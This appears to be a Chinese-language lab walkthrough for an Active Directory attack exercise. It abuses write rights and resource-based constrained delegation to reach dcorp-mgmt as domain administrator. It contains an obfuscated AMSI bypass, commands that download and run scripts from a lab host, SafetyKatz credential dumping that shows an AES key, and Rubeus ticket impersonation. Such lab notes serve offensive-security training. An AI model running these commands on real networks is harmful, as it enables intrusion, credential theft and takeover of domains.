Objective 17

任务

• 在 dcorp 域中找到我们具有写入权限的计算机对象。
• 滥用写入权限以域管理员身份访问该计算机。

Find-InterestingDomainAcl | ?{$_.identityreferencename -match 'ciadim'}

空的

在Jenkins反弹shell中

iex (iwr http://172.16.100.32/sbloggingbypass.txt -UseBasicParsing)

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.32/PowerView.ps1'))

Set-DomainRBCD -Identity dcorp-mgmt -DelegateFrom 'dcorp-std832$' -Verbose

空的

Get-DomainRBCD

看到dcorp-mgmt

本机上面找自己账号的aes

C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe -args "sekurlsa::ekeys" "exit"

84b3cf0444ec067e64bf1e860f8de51d1fc772720c8682220ecddd83c628d29e

滥用 RBCD 以域管理员身份访问 dcorp-mgmt

C:\AD\Tools\Rubeus.exe with args 's4u /user:dcorp-std832$ /aes256:84b3cf0444ec067e64bf1e860f8de51d1fc772720c8682220ecddd83c628d29e /msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt'

winrs -r:dcorp-mgmt cmd